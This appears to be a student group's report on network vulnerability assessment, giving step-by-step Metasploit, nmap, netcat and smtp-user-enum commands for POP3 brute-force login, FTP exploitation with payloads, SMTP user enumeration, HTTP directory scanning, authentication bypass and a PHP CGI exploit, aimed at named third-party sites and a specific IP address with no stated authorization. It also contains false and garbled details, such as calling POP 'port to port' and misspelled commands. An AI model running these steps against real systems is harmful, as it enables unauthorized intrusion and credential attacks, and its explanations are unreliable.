GROUP 1.1 – DEEPA S, KIRAN MANIKANDHAN, VAIBHAV AGRAWAL, ARHAN GUPTA

TOPIC – NETWORK VULNERABILITY ASSESSMENT

Site: Acunetix.com

PORT 110 - Pop3 auxiliary modules in Metasploit this module attempts to authenticate .Pop3 service that is port to port service that is basically PoP stands for port to port

Steps for pop3:

· open up terminal

· type yourself msfconsole

· search pop3 can see that pop3 login module

· let's load pop3 login module into the MSF console

· type use auxiliary/scanner/pop3/pop3_login

· then now type info

· type set RHOST (IP Address)

· set BRUTEFORCE_SPEED 5

· and to execute it type run and enter

Site: INDRIVE.COM

PORT 21 - FTP is used to transfer files between 2 computers over a network and Internet, Port 21 is used for creating a connection.[FTP - File Transfer Protocol]

Steps for FTP -

- Open Terminal
- Then Type nbtscan -r IP Range(Target IP)
- Then Type nmap -p 21 –script vuln Target IP
- Then go to reference for further details
- Now type msfconsole
- Now type help

- Search for the word that is available in the information part of FTP
- Use Name of Module
- Then type Show Options
- Set RHOST Target IP
- Verify it by typing “Show Options”
- Then take a look at the available payloads by typing “show payloads”
- Set payload “Payload Name”
- Now for running the attack, type exploit

<u>Site:</u> INDRIVE.COM

Port 25 - Port 25 is mainly used for SMTP Relaying – transmitting messages between different email servers. It is not recommended to use for email submission.

1) We determine which software and version is running behind port 25. Using command:

```
db_nmap -p 25 -sC -sV -A 185.104.210.6
```

2) Using auxiliary module of metasploit

```
use auxiliary/scanner/smtp/smtp_version\
```

3) Using user enumeration module of MSF for SMTP

```
·      use auxiliary/scanner/smtp/smtp_enum
·      run
```

The module was able to extract a list of users. We can now try to brute force our way in with these users.

4) Acquiring database emails using command:

```
nc [IP Address] [Port no.]
```

5) Creating a list of users using “VRFY” command.

```
VRFY user
```

6) Now we will use the tool <u>**smtp-user-enum**</u> to increase the speed of finding users.

```
smpt-users-enum -M VRFY -U /usr/share/wordlist/fern-wifi -t [IP Address]
```

Site: INDRIVE.COM:

Port 80: Port 80 is the default port for http services (web pages). In a previous scan we’ve determined that port 80 is open. It’s now time to determine what is running behind that port.

First do a nmap scan:

```
> db_namp -sV 185.104.210.6 -p 80
```

Next, we gather more information using auxiliary scanner:

```
> use auxiliary/scanner/http/http_version

> show options

> run
```

dir_listing’ will determine if directory listing is enabled:

```
> use auxiliary/scanner/http/dir_listing

> show options

> run
```

‘dir_scanner’ will check for interesting directories:

```
> use auxiliary/scanner/http/dir_scanner

> show options

> run
```

To go through their content, we use ‘files_dir’:

```
> use auxiliary/scanner/http/files_dir

> show options

> run
```

Other module of interest id ‘options’, ‘robots_txt’ and ‘verb_auth_bypass’:

```
> use auxiliary/scanner/http/verb_auth_bypass

> show options

> run
```

If CGI Remote Code Execution is found while searching exploitDB:

```
> use exploit/multi/http/php_cgi_arg_injection

> set lhost

>run
```